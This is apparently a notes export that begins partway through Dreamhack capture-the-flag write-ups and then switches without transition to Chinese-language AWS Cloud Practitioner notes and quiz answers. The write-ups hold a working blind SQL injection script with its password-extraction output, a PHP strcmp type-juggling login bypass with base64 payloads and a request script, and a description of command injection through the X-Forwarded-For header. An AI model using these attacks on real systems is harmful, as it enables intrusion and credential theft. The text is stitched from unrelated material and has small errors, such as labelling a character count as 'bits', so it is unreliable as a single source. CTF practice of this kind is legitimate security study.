The administrator password consists of "ASCII code" and "Korean".

we are not sure which combination the password is. It may be both.

To determine, you need to find out the length of each character when expressed as a bit string.

  • ASCII → 1 byte (=8 bits)
  • Korean → 3 bytes per character (=24 bits)

Summarize what needs to be done

  • Find the administrator password length
    • Attempts to determine the password length of the administrator account by sending a corresponding request
  • Extract the bit string of each character
    • Extracts the bit string for each character in the password based on UTF-8 encoding.
  • Convert bit strings to characters
    • Convert bit strings to corresponding characters for subsequent comparison and analysis.
    • In order to present the data in a more readable form
    • Bit strings represent binary data. Converting them to characters can present these data in readable character form
  • Convert bit string to integer
    • Converts a bit string to an integer and to a character in Big Endian format.
    • To convert binary data represented by bit strings into integer form for numerical comparison or other calculations
  • Convert to Big Endian format characters
    • Big Endian is a byte order (byte order) representation in which higher-order bytes are stored at lower addresses
    • When representing numerical values, especially in cross-platform or network communication, the data needs to be expressed in a unified byte order to ensure the accuracy and consistency of the data
    • When converting a bit string to an integer, it may be necessary to represent it in Big Endian format so that the data can be accurately interpreted and compared between different systems
  • Convert to matching encoding
    • Make sure that the converted characters use the correct character encoding and confirm the correctness of the conversion by verifying the representation and content of the characters

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from requests import get
import binascii

#INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
#SELECT * FROM users WHERE uid='{uid}
def find_password_length(url):
password_length = 0
while True:
password_length += 1
qry = f"admin' AND CHAR_LENGTH(upw) = {password_length}-- "
r = get(f"{url}/?uid={qry}")
if "exists" in r.text:#If the returned content contains the "exists" string, it means that the assumed password length is correct.
break
return password_length
'''
This find_password_length func works by sending an HTTP request, including snippets of a SQL query, and then observing what is returned by the web page. If the SQL query returns results that contain expected results, such as the "exists" string, the content returned by the web page will be different. Based on this difference, the program can determine whether certain conditions are true and then infer some hidden information, such as the length of the password or the bit string.

'''

def find_char_bitstream_length(url, position):
bit_length = 0
while True:
bit_length += 1
qry = f"admin' AND LENGTH(BIN(ORD(SUBSTRING(upw, {position}, 1)))) = {bit_length}-- "
r = get(f"{url}/?uid={qry}")
if "exists" in r.text:
break
return bit_length

def find_char_bitstream(url, position, bit_length):
bits = ""
for j in range(1, bit_length + 1):
qry = f"admin' AND SUBSTRING(BIN(ORD(SUBSTRING(upw, {position}, 1))), {j}, 1) = '1'-- "
r = get(f"{url}/?uid={qry}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
return bits

def decode_bitstream(bits):
return binascii.unhexlify('%x' % int(bits, 2)).decode("utf-8")


def main():
url = "http://host3.dreamhack.games:19732/"
password_length = find_password_length(url)
print(f"Password Length is {password_length} (bits)")

password = ""
for i in range(1, password_length + 1):
bit_length = find_char_bitstream_length(url, i)
bits = find_char_bitstream(url, i, bit_length)
password += decode_bitstream(bits)
print(f"{i} - {password}")

print(f"Finally Password is >> {password}")

if __name__ == "__main__":
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Password Length is 13 (bits)
1 - D
2 - DH
3 - DH{
4 - DH{이
5 - DH{이것
6 - DH{이것이
7 - DH{이것이비
8 - DH{이것이비밀
9 - DH{이것이비밀번
10 - DH{이것이비밀번호
11 - DH{이것이비밀번호!
12 - DH{이것이비밀번호!?
13 - DH{이것이비밀번호!?}
Finally Password is >> DH{이것이비밀번호!?}
  • admin' AND ...
    • Filter the data in the target database to ensure that we only check data in the target database that meets certain criteria
  • SUBSTRING(upw, {position}, 1)
    • Extracts a character at a specific position ({position}) from the upw field
  • ORD(SUBSTRING(...))
    • Converts the extracted characters into their corresponding ASCII encoded values
  • BIN(ORD(...))
    • Converts an ASCII encoded value to a binary representation of a bit string
  • SUBSTRING(BIN(...), {j}, 1)
    • Extracts a bit at a specific position ({j}) from a bit string

easy-login

  • Description

관리자로 로그인하여 플래그를 획득하세요!

플래그 형식은 DH{...} 입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<form id="redir" action="index.php" method="post">
<?php
$a = array();
foreach ($_POST as $k => $v) {
$a[$k] = $v;
}

$j = json_encode($a);
echo '<input type="hidden" name="cred" value="' . base64_encode($j) . '">';
?>
</form>

<script type="text/javascript">
document.getElementById('redir').submit();
</script>

This piece of PHP handles the collection and processing of user-submitted information. It uses foreach to loop through all key-value pairs in $_POST and stores them in an associative array $a. Then, it uses the json_encode() function to convert the entire array into a JSON-formatted string, and Base64-encodes the JSON string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

function generatePassword($length) {
$characters = '0123456789abcdef';
$charactersLength = strlen($characters);
$pw = '';
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[random_int(0, $charactersLength - 1)];
}
return $pw;
}

function generateOTP() {
return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

$admin_pw = generatePassword(32);
$otp = generateOTP();

function login() {
if (!isset($_POST['cred'])) {
echo "Please login...";
return;
}

if (!($cred = base64_decode($_POST['cred']))) {
echo "Cred error";
return;
}

if (!($cred = json_decode($cred, true))) {
echo "Cred error";
return;
}

if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
echo "Cred error";
return;
}

if ($cred['id'] != 'admin') {
echo "Hello," . $cred['id'];
return;
}

if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}

if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}

echo "Password fail";
return;
}

?>

<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<title>Easy Login</title>
</head>
<body>
<div class="login-container">
<h2>Login as admin to get flag<h2>
<form action="login.php" method="post">
<div class="form-group">
<label for="id">ID</label>
<input type="text" name="id"></br>
</div>
<div class="form-group">
<label for="pw">PW</label>
<input type="text" name="pw"></br>
</div>
<div class="form-group">
<label for="otp">OTP</label>
<input type="text" name="otp"></br>
</div>
<button type="submit" class="button">Login</button>
</form>
<div class="message">
<?php login(); ?>
</div>
</div>
</body>
</html>

Untitled

Login requires three values: ID, PW (password) and OTP. For ordinary users, we only need to know the admin’s ID and provide the correct OTP to log in

The program uses two functions generatePassword() and generateOTP() to generate the admin password and OTP. The password is a 32-character hexadecimal string, while the OTP is ‘P’ followed by a six-digit string. These values ​​are regenerated on every page load, so we need to attack on the same page load.

The login() function performs the actual login check. It first checks if cred is provided, then decodes and parses the value to check if the provided ID, PW and OTP are correct. If the ID is admin, the OTP provided is correct, and the PW provided matches the password of admin, the flag will be displayed.

1
2
3
4
5
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}

strcmp() Function compares two strings, case sensitive

This function returns:

  • 0 - if the two strings are equal
  • <0 - if string1 is less than string2
  • 0 - if string1 is greater than string2

$_POST['cred'] If set equal to an empty array, strcmp will return NULL. Some inherent weaknesses in PHP comparisons, NULL == 0 will return true

$_POST['cred'] Contains all submitted form information

So, by reshaping the screen and intercepting

Untitled

The content to be given to cred needs to be converted through base64

{"id":"admin","pw":[],"otp":true} > eyJpZCI6ImFkbWluIiwicHciOltdLCJvdHAiOnRydWV9

or

{"id":"admin","pw":[],"otp":0} > eyJpZCI6ImFkbWluIiwicHciOltdLCJvdHAiOjB9

Untitled

Replace the value of cred

Untitled

Untitled

or write a code

1
2
3
4
5
6
7
8
9
10
11
12
import requests,json,base64

url = 'http://host3.dreamhack.games:24086/'
packet = {
"id": "admin",
"pw": [],
"otp": 0
}
data = {'cred' : base64.b64encode(json.dumps(packet).encode()).decode()}
flag = requests.post(url, data)
print(flag.text)

Untitled


what-is-my-ip

  • Description

How are they aware of us even behind the wall?

  • FYI

Flag Location: /flag

Flag Format: DH{...}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template

app = Flask(__name__)
app.secret_key = os.urandom(64)

@app.route('/')
def flag():
user_ip = request.access_route[0] if request.access_route else request.remote_addr
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
return render_template("ip.html", result=result.stdout)

except TimeoutExpired:
return render_template("ip.html", result="Timeout!")

app.run(host='0.0.0.0', port=3000)

When you open the page, you can pay attention to

Untitled

This section of the code gets the IP

1
user_ip = **request.access_route[0] if request.access_route else request.remote_addr**
  • request.access_route[0] represents the first IP address before passing through the proxy
  • request.access_route is a Flask-specific property used to access the list of IP addresses in the path passed by the user request
  • If the user’s request goes through a proxy, this list will include all IP addresses before the proxy
  • The proxy will put the user’s original IP address in the X-Forwarded-For of the HTTP header. This header may contain one or more IP addresses, each IP address represents an agent passed through
  • If request.access_route can be accessed, then request.access_route[0] will be the user’s original IP address
  • If request.access_route cannot be accessed, request.remote_addr will be used to obtain the user’s IP address, which is another method provided by Flask
  • The X-Forwarded-For header is usually used when a user’s request goes through a proxy server. The proxy server usually adds the user’s original IP address to the **X-Forwarded-For* header. * header so that the backend server can know the true source of the request
1
2
3
4
5
6
7
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)

This program does not verify user_ip and may be able to inject it

For requests with nginx reverse proxy, you need to add the following content to the nginx configuration:

1
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  • X-Forwarded-For is used to identify the source of HTTP requests
  • This is not required if the client connects directly to the server
  • If the client HTTP connection goes through an intermediary such as a proxy server or load balancer, the server will only have the IP address of the device that most recently forwarded the message
  • Used to identify the original IP address of a client connecting to a web server through a proxy server
  • Default http request X-Forwarded-For does not contain header

You can add a line X-Forwarded-For after burp interception

Untitled

Untitled

AWS infrastructure (三, 四)

單元 3 簡介

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
高可用性概念
└─ 提供可靠服務的能力,即使面臨突發事件或故障

AWS 全球基礎設施
├─ 資源分佈
│ ├─ 遍布全球各地的 AWS 區域
│ │ ├─ 提供高可用性和容錯能力
│ │ └─ 客戶可以在不同區域使用 AWS 服務
│ └─ 每個區域有多個可用區域
│ └─ 提供在單一區域中提高可用性和容錯能力的選項
└─ 用咖啡店比喻
├─ 分店分佈
│ ├─ 在不同地點開設的咖啡店
│ └─ 客戶可前往其他分店繼續享用服務
└─ 遇到突發事件
├─ 如遊行、水災或停電
└─ 客戶仍能在其他分店繼續享用服務

AWS 全球基礎設施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
基本業務需求
└─ 應用程式執行、內容存儲、資料分析等需求

資料中心的挑戰
└─ 天災或故障導致與資料中心失去連線
└─ 自經營資料中心至資料備份等解決方式,但存在成本與風險

AWS 全球基礎設施
├─ 區域建立
│ ├─ 全球各地 AWS 區域
│ │ └─ 包含多個可用區域
│ │ └─ 擁有完整運算、儲存和服務設施
│ └─ 區域間連線
│ └─ 透過高速光纖網路連線
│ └─ 提供全球營運支援
└─ 區域資料主權
├─ 資料受當地法律和國家法令約束
└─ 資料不會跨區域轉移

選取區域
├─ 符合資料管控和法規要求
│ └─ 根據公司及位置需求,在特定區域執行資料,如倫敦地區
├─ 接近您的客戶,考慮與客戶群距離
│ └─ 選取靠近客戶地區,加速內容傳遞,如維吉尼亞北部地區和新加坡
├─ 區域內的可用服務,功能可用性
│ └─ 考慮區域內提供的服務和功能,如Amazon Braket 在特定區域的可用性
└─ 定價
└─ 考慮區域的價格成本,如聖保羅地區相比奧勒岡州的成本增加50%

節點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
AWS 全球基礎設施好處
├─ 能提供更好的客戶服務
├─ 可在全球各地建立衛星分店來服務客戶
├─ 可在當地放置資料複本或快取,提高存取效率
│ └─ 使用 CDN 概念,如 AWS CloudFront
└─ 提供 AWS Outposts 解決方案,可在自己的大樓內使用 AWS 服務

CDN Amazon CloudFront
├─ 用於提供全球客戶資料、影片、應用程式和 API 的服務
├─ 具有低延遲和高傳輸速度特性
└─ 使用節點技術,在全球協助加速與使用者的通訊

AWS 節點功能
├─ 執行 CloudFront
├─ 執行 DNS,如 Amazon Route 53
└─ 可在全球範圍內加快通訊和內容交付

AWS Outposts
└─ 安裝一個完整運作的迷你區域在您的資料中心內,由 AWS 操作
└─ 提供 AWS 全功能,但設備獨立在您的大樓內

Untitled

  1. 來源: 假設公司的資料存放在巴西,而您有住在中國的客戶。若要提供內容給這些客戶,您並不需要將所有內容都移至某個中國區域。
  2. 節點: 您可以在靠近中國客戶的節點對本機的副本進行快取,不需要讓客戶從巴西取得資料。
  3. 客戶: 如果中國的客戶請求您的某個檔案,Amazon CloudFront 會從節點的快取中擷取檔案,然後將檔案傳送給客戶。由於檔案來自中國附近的節點,而非巴西的原始來源,因此檔案交付給客戶的速度更快。

如何佈建 AWS 資源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
與 AWS 服務互動的方式
├─ 使用 API 呼叫
│ ├─ AWS 管理主控台
│ ├─ AWS 命令列界面 (CLI)
│ └─ 軟體開發套件 (SDK)

├─ AWS 管理主控台
│ ├─ Web 為基礎的介面
│ ├─ 可用於存取和管理 Amazon 服務
│ ├─ 包括精靈和自動化工作流程
│ └─ 可透過行動應用程式執行監控資源、檢視警示和存取帳單資訊

├─ AWS 命令列界面 (CLI)
│ ├─ 讓您從命令列控制多個 AWS 服務
│ ├─ 適用於 Windows、macOS 和 Linux
│ └─ 可用於自動化服務和應用程式動作

└─ 軟體開發套件 (SDK)
├─ 透過專為程式設計語言或平台設計的 API
├─ 可讓您更輕鬆地使用 AWS 服務
└─ 支援的程式設計語言包括 C++、Java、.NET 等

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

手動操作容易可能忘記勾選選項或是遺漏設定

使用可讓你撰寫或程式設計的API呼叫工具 - AWS CLI

  • 撰寫指令啟動EC2 - 指令可重複輸入,減少出錯率
  • 程式以排程的方式執行
  • 自動化部屬應用

Untitled

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
與 AWS 互動的方式
├─ 使用 API 呼叫
│ ├─ AWS 管理主控台
│ ├─ AWS 命令列界面 (CLI)
│ └─ 軟體開發套件 (SDK)

├─ AWS 管理主控台
│ ├─ Web 為基礎的介面
│ ├─ 可用於存取和管理 Amazon 服務
│ ├─ 包括精靈和自動化工作流程
│ └─ 可透過行動應用程式執行監控資源、檢視警示和存取帳單資訊

├─ AWS 命令列界面 (CLI)
│ ├─ 讓您從命令列控制多個 AWS 服務
│ ├─ 適用於 Windows、macOS 和 Linux
│ └─ 可用於自動化服務和應用程式動作

├─ 軟體開發套件 (SDK)
│ ├─ 透過專為程式設計語言或平台設計的 API
│ ├─ 可讓您更輕鬆地使用 AWS 服務
│ └─ 支援的程式設計語言包括 C++、Java、.NET 等

├─ AWS Elastic Beanstalk
│ ├─ 負責佈建環境所需的資源
│ │ ├─ 調整容量
│ │ ├─ 負載平衡
│ │ ├─ 自動擴展
│ │ └─ 應用程式運作狀態監控

└─ AWS CloudFormation
├─ Infrastructure as Code 工具
├─ 使用 JSON 或 YAML 文件定義 AWS 資源
├─ 可重複部署且自動化建立基礎設施
└─ 在堆疊管理中提供自動復原變更的功能

Untitled

Untitled

Untitled

Untitled

單元 3 總結

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
AWS 全球基礎設施
├─ 可用區域形成區域,遍及全球
│ ├─ 選擇在哪個區域和可用區域運作
│ └─ 建議至少在兩個可用區域部署基礎設施

├─ 自動部署多個可用區域的服務
│ ├─ Elastic Load Balancing
│ ├─ Amazon SQS
│ └─ Amazon SNS

├─ 節點部署內容以加速提供給客戶的速度

└─ AWS Outposts
└─ 邊緣裝置,讓您在自己的資料中心運作 AWS 基礎設施

AWS 資源佈建工具
├─ AWS Management Console
├─ 開發套件 SDK
├─ CLI
├─ AWS Elastic Beanstalk
└─ AWS CloudFormation
└─ 將基礎設施設定為程式碼

單元 3 測驗

關於 AWS 全球基礎設施,以下哪個敘述正確?

  • 區域只含單一可用區域。
  • 可用區域由兩個或多個區域組成。
  • 區域由三個或多個可用區域組成。

正確的回答選項是區域由三個或多個可用區域組成

例如,南美洲(聖保羅)區域是 sa-east-1。它包含三個可用區域:sa-east-1a、sa-east-1b 以及 sa-east-1c

  • 可用區域只含單一區域。

選擇區域時應考慮哪些因素?(請選取兩個。)

  • 符合資料管控和法規要求
  • 接近您的客戶
  • 全天候皆可取得技術支援
  • 可向不同使用者指派自訂權限的功能
  • 存取 AWS 命令列界面 (AWS CLI)

另外兩個在選取區域時要考慮的因素是定價和區域中的可用服務。

其他回答選項皆不正確,因為:

  • 您選擇的支援層級並不是由區域決定。
  • 向不同使用者指派自訂權限是在所有 AWS 區域都可以使用的功能。
  • AWS 命令列界面 (AWS CLI) 適用於所有 AWS 區域。

以下哪個敘述與 Amazon CloudFront 最相符?

  • 一種可讓您以混合雲端方法執行基礎設施的服務
  • 一種容器專用的無伺服器運算引擎
  • 一種可讓您透過佇列在軟體元件之間傳送和接收訊息的服務
  • 全球內容交付服務

正確的回答選項是全球內容交付服務

Amazon CloudFront 是一種內容交付服務。這項服務使用節點網路來快取內容,並將內容交付給世界各地的客戶。內容經過快取後,會以副本形式存放在本機。這些內容可能是影片檔案、相片、網頁等。

其他選項皆不正確,因為:

  • AWS Outposts 這項服務可讓您以混合雲端方法執行基礎設施。
  • AWS Fargate 是一種容器專用的無伺服器運算引擎。
  • Amazon Simple Queue Service (Amazon SQS) 這項服務可讓您透過佇列在軟體元件之間傳送、存放和接收訊息。

Amazon CloudFront 使用以下哪個站點來快取內容副本,藉此在任何位置都能快速交付給使用者?

  • 區域
  • 可用區域
  • 節點

其他回答選項皆不正確,因為:

  • 區域是指一個獨立的地理位置,其中的多個位置是彼此分隔的。
  • 可用區域在 AWS 全球基礎設施中是完全分隔的。
  • 來源是指 CloudFront 取得檔案的伺服器。CloudFront 原始伺服器的範例包括 Amazon Simple Storage Service (Amazon S3) 儲存貯體和 Web 伺服器。
  • 來源

您可以使用 AWS Outposts 執行以下哪個動作?

  • 透過指令碼自動化 AWS 服務和應用程式動作。
  • 存取精靈和自動化工作流程,以便在 AWS 服務中執行任務。
  • 以支援的程式設計語言開發 AWS 應用程式。
  • 將 AWS 基礎設施和服務延伸到不同位置,包括您的內部部署資料中心。

其他選項皆不正確,因為:

  • AWS 命令列界面 (AWS CLI) 是用於透過指令碼來自動化 AWS 服務和應用程式動作。
  • AWS 管理主控台包含可用來在 AWS 服務中完成任務的精靈和工作流程。
  • 軟體開發套件 (SDK) 可讓您以支援的程式設計語言開發 AWS 應用程式。

單元 4 簡介

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Amazon Virtual Private Cloud (VPC)
├─ 允許在 AWS Cloud 中建立邏輯隔離部分
├─ 允許在自定義的虛擬網路中啟動 AWS 資源
│ ├─ 資源可以是向外公開的,可透過網際網路存取
│ └─ 資源也可以是私有的,不能從網際網路存取,通常用於後端服務

└─ 公有和私有的資源群組稱為子網路,有各自的 IP 地址範圍

拿咖啡店舉例
├─ 收銀員
│ └─ 負責點餐,分配到公有子網路,與客人互動

└─ 咖啡師
└─ 專心製作咖啡,分配到私有子網路,避免直接與客人互動

AWS 的連線能力

Untitled

Untitled

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Amazon Virtual Private Cloud (Amazon VPC)
├─ 允許在 AWS Cloud 中建立邏輯隔離部分
├─ 在這個分隔區段中,您可以在自己定義的虛擬網路中啟動資源
│ ├─ 資源可以是向外公開的,可透過網際網路存取
│ └─ 資源也可以是私有的,不能從網際網路存取,通常用於後端服務

└─ 子網路是 VPC 的一個區段,當中可包含 Amazon EC2 執行個體等資源

網際網路閘道
└─ 網際網路閘道是 VPC 和網際網路之間的連結
├─ 類似於咖啡店的前門,允許公有流量存取 VPC
└─ 沒有網際網路閘道,任何人都無法存取 VPC 內的資源

虛擬私有閘道
└─ 虛擬私有閘道是允許受保護的網際網路流量進入 VPC 的元件
├─ 類似於在道路上有保全保護,只允許特定的人通行
├─ 在 VPC 和內部企業網路之間建立 VPN 連線
└─ 允許存取 VPC 中的私有資源

AWS Direct Connect
├─ 建立專用私有連線,連接資料中心和 VPC
├─ 提供專用的私有連線,不受其他用戶影響
└─ 如同在公寓大樓中有專用走廊通往咖啡店,只有住戶能使用的專屬通道

連接至包含三個 EC2 執行個體之 VPC 的網際網路閘道圖示。一個箭頭透過網際網路將用戶端連線至閘道,表示用戶端的請求已取得對 VPC 的存取權。

連接至包含三個 EC2 執行個體之 VPC 的網際網路閘道圖示。一個箭頭透過網際網路將用戶端連線至閘道,表示用戶端的請求已取得對 VPC 的存取權。

虛擬私有閘道可讓您在 VPC 和私人網路 (例如內部部署資料中心或企業內部網路) 之間建立虛擬私人網路 (VPN) 連線。流量必須來自核准的網路,虛擬私有閘道才會允許流量進入 VPC。

虛擬私有閘道可讓您在 VPC 和私人網路 (例如內部部署資料中心或企業內部網路) 之間建立虛擬私人網路 (VPN) 連線。流量必須來自核准的網路,虛擬私有閘道才會允許流量進入 VPC。

Untitled

企業資料中心會將網路流量路由至 AWS Direct Connect 位置。然後,該流量會透過虛擬私有閘道路由至 VPC。企業資料中心與 VPC 之間的所有網路流量都會透過此專用私有連線流量流程。

子網路和網路存取權限控制清單 (ACL)

  • VPC 網路強化
    • 安全性工具和技術
      • 網路層面安全
        • 子網路
          • 公有子網路
            • 可存取網際網路閘道
          • 私有子網路
            • 無法存取網際網路閘道
          • 控制流量權限
            • 網路 ACL (無狀態)
              • 海關審查人員的比喻
              • 檢查封包進出子網路
                • 核准名單檢查
                  • 流量可進出 VPC
        • 安全群組 (具狀態)
          • 每個 EC2 執行個體自動加入
          • 預設拒絕所有流量
          • 可修改以允許特定類型的流量
          • 檢查封包進出 EC2 執行個體
            • 核准名單檢查
              • 封包通過時不需再次檢查
      • 封包的流動過程
        • 封包從源執行個體至目標執行個體
          • 安全群組檢查
            • 允許所有傳出流量
          • 網路 ACL 檢查
            • 核准名單檢查
              • 封包通過
          • 安全群組再次檢查
        • 封包回傳流程
          • 安全群組允許傳回流量
            • 允許所有傳回流量
          • 網路 ACL 檢查
            • 核准名單檢查
              • 封包通過
          • 安全群組再次檢查
    • 整體效果
      • 深度安全性
        • 結合網路 ACL 和安全群組

比喻:

Untitled

Untitled

  • 咖啡店範例

    • 流程描述
      • 客人向收銀員點餐
        • 收銀員接收訂單並處理
      • 收銀員將訂單交給咖啡師
        • 咖啡師製作咖啡
      • 客人順序點餐,排隊人龍順暢移動
      • 客人試圖跳過收銀員直接向咖啡師點餐
        • 中斷動線流動,導致受限制
    • 解決方法
      • 咖啡店老闆將收銀員和咖啡師配置在不同的工作站
        • 區分櫃檯區域,保持流動順暢
      • 收銀員的工作站
        • 專為接待客人而設計
      • 咖啡師的工作站
        • 不對外開放,僅處理訂單
    • 示意圖
      • 一名收銀員,一名咖啡師,三名排隊的客戶
        • 第一位客戶向收銀員點餐,收銀員接收訂單並轉交給咖啡師
        • 最後一名客戶試圖直接向咖啡師點餐,但無法這樣做
  • 子網路

    Untitled

    • 定義
      • VPC 的區段,用於將資源分組,可以設為公有或私有
    • 公有子網路
      • 包含需要開放存取的資源,如線上商店的網站
      • 支援客戶使用的網站
    • 私有子網路
      • 包含只能透過私有網路存取的資源,如含有客戶個人資訊的資料庫
      • 分隔含有客戶個人資訊的資料庫
    • 子網路通訊
      • 可以彼此通訊,如公有子網路的 EC2 執行個體與私有子網路中的資料庫
  • 網路流量

    • 封包
      • 以封包形式傳送的請求資料
    • 流量進出 VPC
      • 透過網際網路閘道進入 VPC
      • 在進出子網路之前檢查權限
  • 網路 ACL

    Untitled

    • 定義

      • 控制子網路層級的傳入和傳出流量的虛擬防火牆
    • 功能

      • 無狀態封包篩選

        • 忽略所有規則,檢查往來跨越子網路邊界的封包

        Untitled

    • 設定

      • 預設網路 ACL
        • 允許所有傳入和傳出流量,可自行修改
      • 自訂網路 ACL
        • 所有流量都被拒絕,除非新增規則允許
  • 安全群組

    Untitled

    • 定義

      • 控制 EC2 執行個體的傳入和傳出流量的虛擬防火牆
    • 功能

      • 有狀態封包篩選

        Untitled

        封包從用戶端透過網際網路傳輸到網際網路閘道,然後進入 VPC。然後,該封包通過網路存取控制清單 (ACL),並存取兩個 EC2 執行個體所在的公有子網路。

        • 記住先前針對傳入封包所做的決定
        • 無論傳入安全群組規則為何,安全群組都會允許回應繼續執行

        Untitled

    • 設定

      • 預設情況
        • 拒絕所有傳入流量,允許所有傳出流量
      • 自訂規則
        • 設定允許或拒絕特定流量

知識檢測

下列哪個敘述與 AWS 帳戶的預設網路存取控制清單 (ACL) 最相符?

  • 它無狀態,且會拒絕所有傳入和傳出流量。
  • 它有狀態,且會允許所有傳入和傳出流量。
  • 它無狀態,且會允許所有傳入和傳出流量。

網路存取控制清單 (ACL) 會執行無狀態封包篩選。這項功能會忽略所有規則,一律檢查往來跨越子網路邊界的傳入和傳出封包。

每個 AWS 帳戶都包含一個預設網路 ACL。設定 VPC 時,您可以使用帳戶的預設網路 ACL,也可以建立自訂網路 ACL。

根據預設,帳戶的預設網路 ACL 會允許所有傳入和傳出流量,但您可以自行新增規則來加以修改。如使用自訂網路 ACL,則所有傳入和傳出流量都會遭到拒絕,除非您新增規則,指定應允許哪些流量。此外,所有網路 ACL 都具備一項明確拒絕規則。此規則可確保在封包未符合清單上任何其他規則的情況下,會拒絕該封包。

  • 它有狀態,且會拒絕所有傳入和傳出流量。

全球網路

  • 客戶與 AWS 基礎設施互動
    • DNS (Domain Name System)

      Untitled

      用戶端連線至尋找網域的 DNS 解析器。解析器將請求轉送至 DNS 伺服器,該伺服器則將 IP 地址傳回解析器。

      • 定義
        • 將網站名稱翻譯成 IP 地址的服務
      • 路由流程
        • 客戶輸入網址至瀏覽器
        • 瀏覽器聯絡 DNS 解析器
        • 解析器向 DNS 伺服器查詢 IP 地址
        • 公司 DNS 伺服器提供 IP 地址
    • Amazon Route 53

      • 功能
        • 提供 DNS 服務
        • 管理網域名稱的 DNS 記錄
      • 路由政策
        • Latency Based Routing

          • 基於最低延遲路由流量
        • 地理位置 DNS

          • 根據客戶所在地區路由流量
        • 地理鄰近度

          • 將流量路由至最近的節點
        • 加權輪詢算法

          • 根據權重分配流量到不同的端點
        • Amazon Route 53 和 Amazon CloudFront 交付內容

          Untitled

          • AnyCompany 的應用程式在數個 Amazon EC2 執行個體上執行
          • 執行個體所在的 Auto Scaling 群組連接到 Application Load Balancer
            • 客戶前往 AnyCompany 的網站以便請求應用程式的資料
            • Amazon Route 53 使用 DNS 解析來識別 AnyCompany.com 的相應 IP 地址 192.0.2.0。這個資訊會再傳回給客戶
            • 客戶的請求會透過 Amazon CloudFront 傳送到最近的節點
            • Amazon CloudFront 會連接到 Application Load Balancer,後者會將傳入的封包傳送到 Amazon EC2 執行個體
    • CDN (Content Delivery Network)

      • 定義
        • 協助加快將網站資產交付給客戶的網路
      • Amazon CloudFront
        • 功能
          • 部署靜態網路資產到全球節點,提高存取速度
        • 運作方式
          • 客戶存取網站
          • 請求透過 CloudFront 網路
          • CloudFront 將請求路由到最近的節點
          • 節點從遠端伺服器擷取資料
          • 資料傳送至客戶,減少延遲
      • 使用案例
        • 北美洲使用者存取網站
          • 資產部署到北美洲節點
        • 愛爾蘭使用者存取網站
          • 資產部署到愛爾蘭節點

知識檢測

以下哪個敘述與 DNS 解析最相符?

  • 在自己定義的虛擬網路中啟動資源
  • 在世界各地的節點儲存本機的內容副本
  • 將 VPC 連接到網際網路
  • 將網域名稱轉譯為 IP 位址

舉例來說,如果您想前往 AnyCompany 的網站,於是在 PC 輸入網域名稱,這個請求就會傳送到 DNS 伺服器。接下來,DNS 伺服器會向 Web 伺服器要求與 AnyCompany 的網站對應的 IP 位址。Web 伺服器的回應方式是提供某公司網站的 IP 位址 192.0.2.0。

單元 4 總結

  • AWS 網路連結

    • 概述
      • 將網路連結簡化並抽象化,只需回答「有誰能與彼此互相溝通」這個問題
    • VPC (Virtual Private Cloud)
      • 隔離工作負載的方式
    • 網路安全
      • 閘道
      • 網路 ACL
      • 安全群組
      • 阻止顛覆性攻擊的方式
    • VPN 和 Direct Connect
      • 連線到 AWS 的方式
    • 加密
      • 在一般網際網路上進行加密
      • 建立專屬光纖網路安全管道
    • AWS 全球網路
      • 使用節點提供的全球網路
    • Route 53
      • 用於 DNS 的服務
    • CloudFront
      • 就近快取內容給消費者的服務

    單元 4 測驗

    您的公司有一款應用程式使用 Amazon EC2 執行個體來執行客戶使用的網站,並使用 Amazon RDS 資料庫執行個體來存放客戶的個人資訊。根據最佳實務,開發人員應該如何設定 VPC?

    • 將 Amazon EC2 執行個體放在私有子網路中,將 Amazon RDS 資料庫執行個體放在公有子網路中。
    • 將 Amazon EC2 執行個體放在公有子網路中,將 Amazon RDS 資料庫執行個體放在私有子網路中。

    正確答案是將 Amazon EC2 執行個體放在公有子網路中,將 Amazon RDS 資料庫執行個體放在私有子網路中

